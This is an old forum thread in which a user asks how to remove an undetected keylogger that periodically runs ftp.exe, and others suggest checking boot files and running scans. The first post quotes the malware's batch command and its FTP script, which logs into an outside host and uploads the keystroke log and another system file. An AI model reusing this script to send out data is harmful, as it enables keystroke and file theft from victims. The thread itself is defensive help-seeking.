Results 1 to 4 of 4

Thread: Spy FTP Program

  1. #1
    dave_r
    Guest

    Default Spy FTP Program

    I am wondering if anyone has run across this before?

    While surfing I periodically get ftp.exe trying to access the net.
    It appears I have a virus or spyware but neither Norton, Spybot or PestPatrol have found it.

    It works like this:
    A file in C:\ called net.cfg logs keystrokes, then a batch file called ton.bat is created with the following contents:

    "ftp.exe -s:lap.txt"

    The contents of lap.txt are:
    "open kolyan.netfirms.com
    kolyan
    vc63ks
    cd www
    cd jsmx
    mkdir gepe
    cd gepe
    binary
    put c:\net.cfg
    put c:\msdos_.sys
    bye"

    The site referred to has been taken down and I have tried ftping the site but the password has changed. I have created a read only version of net.cfg so no keystrokes can be logged but, as I cannot find the virus and there does not seem to anything in startup, I am at a loss as how to remove it.

    Any ideas out there?

  2. #2
    drcspy
    Guest

    Default Re: Spy FTP Program

    do a file scan for ftp.exe then when/if you find it rename it.......if you cant rename it then do it in safe mode

  3. #3
    Graham L
    Guest

    Default Re: Spy FTP Program

    The dirty work is probably being done before Windows starts. I would suspect c:\msdos_sys, which is also supposed to be sent to the foreign site by that script.

    Have a look at c:\config.sys and c:\autoexec.bat, too, just in case.



  4. #4
    Greg S
    Guest

    Default Re: Spy FTP Program

    If this virus is disabling your anti-virus then try an online scan. Trend Micro offer one.

Similar Threads

  1. Which P2P program do you use for BT?
    By Ninjabear in forum PC World Chat
    Replies: 8
    Last Post: 04-11-2007, 10:14 PM
  2. Being used by another program
    By kjaada in forum PressF1
    Replies: 3
    Last Post: 08-07-2005, 02:25 PM
  3. Replies: 9
    Last Post: 01-01-2004, 02:11 PM
  4. Program Icons inAdd/Remove Program
    By Craig in forum PressF1
    Replies: 9
    Last Post: 28-11-2003, 06:48 PM
  5. Is there any program i can use for......
    By csinclair83 in forum PressF1
    Replies: 3
    Last Post: 09-03-2003, 09:17 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •